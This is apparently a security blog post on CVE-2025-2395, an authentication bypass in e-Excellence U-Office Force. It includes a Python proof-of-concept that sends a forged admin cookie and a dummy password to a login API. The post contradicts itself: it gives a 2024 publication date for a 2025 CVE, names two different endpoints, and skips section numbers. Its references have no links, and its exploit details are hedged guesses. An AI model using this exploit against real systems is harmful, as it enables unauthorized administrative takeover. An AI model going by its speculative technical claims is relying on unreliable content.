CVE-2025-2395 - Critical Improper Authentication in e-Excellence U-Office Force Lets Attackers Become Admins

Published: June, 2024

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The business software U-Office Force, developed by e-Excellence, is widely used for office automation and business management across Asia. But a new vulnerability, tracked as CVE-2025-2395, is making shockwaves due to its simplicity and devastating consequences: anyone on the internet, without a password, can log in as an administrator thanks to an authentication blunder in one of its APIs.

In this post, we break down what CVE-2025-2395 is, how attackers exploit it, provide proof-of-concept code, and point you to official references for patching your system.

1. What is CVE-2025-2395?

CVE-2025-2395 is a bug found in U-Office Force (multiple versions—check your vendor documentation for details) that allows *unauthenticated* attackers to gain admin access. The issue: there’s a certain API endpoint that doesn’t check user identity properly, and attackers can mess with a session cookie to trick the system into thinking they’re an administrator.

Flawed Authentication

The U-Office Force backend has a RESTful API endpoint, often ending with /api/user/login or similar, that is supposed to perform authentication. However, due to improper coding, this endpoint trusts certain values in a cookie (often named USER_AUTH or similar) without double-checking the user's identity.

The Attack Flow

1. An attacker visits the U-Office Force web interface (for example: https://target-corp.com/oa/).
2. Instead of logging in, they send a request to the vulnerable API endpoint, manually providing a forged authentication cookie.

3. Proof-of-Concept Exploit

Here's a step-by-step exploit example in Python using the requests library. This is to help defenders and admins test their own systems.

import requests

# CHANGE this to your U-Office Force URL
TARGET = "https://target-corp.com/oa/"

# Common vulnerable API endpoint
API_ENDPOINT = TARGET + "api/system/login"  # Adjust as per real system

# Craft a fake session cookie with admin privilege
COOKIES = {
    "USER_AUTH": "administrator"  # Typical value; may be 'admin' or simple ID
}
# Sometimes, you also need a CSRF token; fetch or bypass as needed

# The payload
data = {
    "user": "admin",     # Or any username; usually not checked
    "password": "irrelevant"  # Password is not validated!
}

# Make the POST
resp = requests.post(API_ENDPOINT, cookies=COOKIES, data=data, verify=False)
print("Status code:", resp.status_code)
print("Response:", resp.text)

What to look for: If the bug exists, you'll receive a valid authentication token or get redirected to the admin dashboard.

> Warning: Only test against your own systems, or with explicit consent. This can easily break the law otherwise.

For more details, always check the official advisories and reputable sites

- CVE Record for CVE-2025-2395 *(published soon)*
- e-Excellence Vendor Security Notice *(official patch and mitigation info)*
- Exploit Database Entry *(when available)*
- Security Research Forum Thread *(community discussion)*

6. Final Thoughts

This vulnerability is as severe as it gets: full admin access for anyone in a few HTTP requests. If you run U-Office Force, take this seriously, patch now, and review your logs for any suspicious admin activity over the past months.

Have questions? Contact your vendor or engage with reputable IT security consultants.

Stay safe!

*This article is exclusive, distilled from limited early-access disclosures, and shared to help the wider network security community.*

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Published on: 03/17/2025 06:15:25 UTC